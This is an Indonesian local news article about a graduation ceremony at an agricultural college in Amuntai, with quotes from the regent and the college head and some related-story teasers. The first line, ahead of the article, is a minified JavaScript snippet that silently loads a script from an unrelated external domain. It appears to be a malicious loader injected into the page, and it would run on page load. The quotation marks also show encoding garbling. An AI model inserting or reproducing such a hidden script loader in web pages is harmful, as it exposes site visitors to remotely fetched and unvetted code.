(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Sebanyak 63 mahasiswa berhasil lulus dari Sekolah Tinggi Ilmu Pertanian (Stiper) Amuntai, dalam Wisuda Sarjana ke-9 Tahun Akademik 2016/2017 di Gedung Pancasila, Kamis (7/12). Dari 64 mahasiswa yang diwisud berasal dari 24 mahasiswa program studi argo teknologi dan 39 lulusan progran studi agri bisnis.
Bupati HSU H Abdul Wahid HK mengatakan, kelulusan ini berkat buah kesabaran ketekunan, kedisiplinan dan kesungguhan para mahasiswa yang akhirnya menyelesaikan pendidikan di perguruan tinggi ini.
“Harapan segala ilmu yang didapat dan gelar akademik dapat benar-benar mendorong pembentukan karakter sikap, mental guna membentuk pribadi berkualitas, handal berdaya saing, berdedikasi tinggi serta mengamalkan ilmu untuk mewujudkan pembangunan daerah,†katanya.
Wahid berpesan agar para lulusan jangan melihat pengukuhan ini sebagai akhir dari proses pendidikan, namun awal dari suatu tanggung jawab, baik itu bagi diri sendiri, keluarga, masyarakat, maupun bagi daerah dan negara.
“Lulusan ini sebagai sumber insan pembangunan dalam mendukung berbagai upaya percepatan pembangunan di Kabupaten Hulu Sungai Utara,†lanjut Wahid.
Apalagi potensi besar di Kabupaten HSU memiliki sumber daya alam hanyalah lahan lebak yang dengan dominasi 89% lahan rawa perairan, hal ini merupakan tantangan sekaligus peluang bagi lahan pertanian.
“Dibutuhkan generasi muda sebagai petani yang tangguh, ulet, terampil serta penyuluh pertanian yang profesional untuk menjadi wirausaha diberbagai bidang seperti penyedia sarana produksi, pemasaran, agro industri dan lain sebagainya,†pungkasnya.
Sementara itu Ketua Stiper Amuntai Dr Ir Ahmad Suhaimi mengatakan, eksistensi Stiper Amuntai mulai sejak berdiri tahun 2004 sampai sekarang selalu mengalami peningkatan dan perkembangan.
“Jangan sampai merasa puas mencari ilmu, terus dan teruslah mencari ilmu meski tidak di lembaga pendidikan formal, karena di luar banyak ilmu yang tidak diajarkan dalam pendidikan formal,†pungkasnya. (dewahyudi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.